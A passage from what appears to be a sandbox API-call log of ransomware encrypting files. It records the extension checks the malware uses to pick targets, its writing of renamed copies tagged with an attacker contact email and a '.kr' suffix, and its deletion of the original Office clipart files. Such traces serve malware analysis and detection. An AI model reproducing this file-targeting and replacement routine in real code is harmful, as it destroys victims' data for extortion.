Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.277] lstrlenW (lpString=".doc") returned 4 [0198.277] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.277] lstrlenW (lpString=".docx") returned 5 [0198.277] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.277] lstrlenW (lpString=".pdf") returned 4 [0198.277] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.277] lstrlenW (lpString=".xls") returned 4 [0198.277] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.277] lstrlenW (lpString=".xlsx") returned 5 [0198.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.278] lstrlenW (lpString=".ppt") returned 4 [0198.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.278] lstrlenW (lpString=".zip") returned 4 [0198.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.278] lstrlenW (lpString=".rar") returned 4 [0198.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.278] lstrlenW (lpString=".bz2") returned 4 [0198.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.278] lstrlenW (lpString=".7z") returned 3 [0198.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.278] lstrlenW (lpString=".dbf") returned 4 [0198.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.278] lstrlenW (lpString=".1cd") returned 4 [0198.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0198.278] lstrlenW (lpString=".jpg") returned 4 [0198.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.279] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.279] lstrlenW (lpString="IN00204_.WMF") returned 12 [0198.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.280] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1848) returned 1 [0198.280] CloseHandle (hObject=0x548) returned 1 [0198.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0198.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.281] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.281] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.282] GetLastError () returned 0x0 [0198.282] ReadFile (in: hFile=0x548, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x738, lpOverlapped=0x0) returned 1 [0198.284] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x740, lpOverlapped=0x0) returned 1 [0198.287] ReadFile (in: hFile=0x548, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.287] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.287] SetEndOfFile (hFile=0x3f8) returned 1 [0198.287] CloseHandle (hObject=0x3f8) returned 1 [0198.287] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.287] SetEndOfFile (hFile=0x548) returned 1 [0198.291] CloseHandle (hObject=0x548) returned 1 [0198.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0198.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.293] lstrlenW (lpString=".doc") returned 4 [0198.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.293] lstrlenW (lpString=".docx") returned 5 [0198.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.293] lstrlenW (lpString=".pdf") returned 4 [0198.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.293] lstrlenW (lpString=".xls") returned 4 [0198.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.293] lstrlenW (lpString=".xlsx") returned 5 [0198.293] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.294] lstrlenW (lpString=".ppt") returned 4 [0198.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.294] lstrlenW (lpString=".zip") returned 4 [0198.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.294] lstrlenW (lpString=".rar") returned 4 [0198.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.294] lstrlenW (lpString=".bz2") returned 4 [0198.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.294] lstrlenW (lpString=".7z") returned 3 [0198.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.294] lstrlenW (lpString=".dbf") returned 4 [0198.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.294] lstrlenW (lpString=".1cd") returned 4 [0198.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.294] lstrlenW (lpString=".jpg") returned 4 [0198.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.295] lstrlenW (lpString=".doc") returned 4 [0198.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.296] lstrlenW (lpString=".docx") returned 5 [0198.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.296] lstrlenW (lpString=".pdf") returned 4 [0198.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.296] lstrlenW (lpString=".xls") returned 4 [0198.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.296] lstrlenW (lpString=".xlsx") returned 5 [0198.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.296] lstrlenW (lpString=".ppt") returned 4 [0198.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.297] lstrlenW (lpString=".zip") returned 4 [0198.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.297] lstrlenW (lpString=".rar") returned 4 [0198.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.297] lstrlenW (lpString=".bz2") returned 4 [0198.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.297] lstrlenW (lpString=".7z") returned 3 [0198.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.297] lstrlenW (lpString=".dbf") returned 4 [0198.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.297] lstrlenW (lpString=".1cd") returned 4 [0198.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0198.297] lstrlenW (lpString=".jpg") returned 4 [0198.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.297] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.298] lstrlenW (lpString="IN00233_.WMF") returned 12 [0198.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.299] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11190) returned 1 [0198.299] CloseHandle (hObject=0x548) returned 1 [0198.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0198.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0198.300] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.300] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0198.301] GetLastError () returned 0x0 [0198.301] ReadFile (in: hFile=0x548, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0198.303] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0198.306] ReadFile (in: hFile=0x548, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.306] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.306] SetEndOfFile (hFile=0x3f8) returned 1 [0198.306] CloseHandle (hObject=0x3f8) returned 1 [0198.306] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.306] SetEndOfFile (hFile=0x548) returned 1 [0198.311] CloseHandle (hObject=0x548) returned 1 [0198.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0198.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.313] lstrlenW (lpString=".doc") returned 4 [0198.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.313] lstrlenW (lpString=".docx") returned 5 [0198.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.313] lstrlenW (lpString=".pdf") returned 4 [0198.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString=".xls") returned 4 [0198.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.614] lstrlenW (lpString=".xlsx") returned 5 [0198.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.614] lstrlenW (lpString=".ppt") returned 4 [0198.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.614] lstrlenW (lpString=".zip") returned 4 [0198.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.614] lstrlenW (lpString=".rar") returned 4 [0198.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString=".bz2") returned 4 [0198.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString=".7z") returned 3 [0198.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.614] lstrlenW (lpString=".dbf") returned 4 [0198.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.614] lstrlenW (lpString=".1cd") returned 4 [0198.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.614] lstrlenW (lpString=".jpg") returned 4 [0198.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.615] lstrlenW (lpString=".doc") returned 4 [0198.615] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.615] lstrlenW (lpString=".docx") returned 5 [0198.615] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.615] lstrlenW (lpString=".pdf") returned 4 [0198.615] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.615] lstrlenW (lpString=".xls") returned 4 [0198.615] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.615] lstrlenW (lpString=".xlsx") returned 5 [0198.615] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.615] lstrlenW (lpString=".ppt") returned 4 [0198.615] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.615] lstrlenW (lpString=".zip") returned 4 [0198.615] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.615] lstrlenW (lpString=".rar") returned 4 [0198.615] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.615] lstrlenW (lpString=".bz2") returned 4 [0198.615] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.616] lstrlenW (lpString=".7z") returned 3 [0198.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.616] lstrlenW (lpString=".dbf") returned 4 [0198.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.616] lstrlenW (lpString=".1cd") returned 4 [0198.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0198.616] lstrlenW (lpString=".jpg") returned 4 [0198.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.616] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0198.616] lstrlenW (lpString="IN00956_.WMF") returned 12 [0198.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.617] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1256) returned 1 [0198.617] CloseHandle (hObject=0x4d4) returned 1 [0198.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0198.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0198.618] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.618] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0198.619] GetLastError () returned 0x0 [0198.619] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0198.621] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0198.622] ReadFile (in: hFile=0x4d4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.622] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0198.622] SetEndOfFile (hFile=0x550) returned 1 [0198.622] CloseHandle (hObject=0x550) returned 1 [0198.622] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.622] SetEndOfFile (hFile=0x4d4) returned 1 [0198.625] CloseHandle (hObject=0x4d4) returned 1 [0198.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.627] lstrlenW (lpString=".doc") returned 4 [0198.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString=".docx") returned 5 [0198.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.627] lstrlenW (lpString=".pdf") returned 4 [0198.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString=".xls") returned 4 [0198.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.627] lstrlenW (lpString=".xlsx") returned 5 [0198.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0198.627] lstrlenW (lpString=".ppt") returned 4 [0198.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.627] lstrlenW (lpString=".zip") returned 4 [0198.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.627] lstrlenW (lpString=".rar") returned 4 [0198.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.627] lstrlenW (lpString=".bz2") returned 4 [0198.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString=".7z") returned 3 [0198.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.628] lstrlenW (lpString=".dbf") returned 4 [0198.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.628] lstrlenW (lpString=".1cd") returned 4 [0198.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.628] lstrlenW (lpString=".jpg") returned 4 [0198.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0198.628] lstrlenW (lpString=".doc") returned 4 [0198.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.628] lstrlenW (lpString=".docx") returned 5 [0198.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0198.628] lstrlenW (lpString=".pdf") returned 4 [0198.628] lstrcmpiW 